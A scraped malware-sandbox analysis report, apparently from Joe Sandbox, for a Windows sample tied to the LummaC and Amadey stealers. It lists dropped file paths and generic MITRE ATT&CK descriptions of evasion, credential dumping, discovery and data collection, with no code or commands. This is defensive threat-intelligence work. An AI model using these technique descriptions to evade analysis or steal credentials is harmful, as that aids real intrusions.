Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Bridgecontainerserver\BrokerhostNet.exe

C:\Bridgecontainerserver\SlMo.bat

C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe

C:\Bridgecontainerserver\cd8865f07816b5

C:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre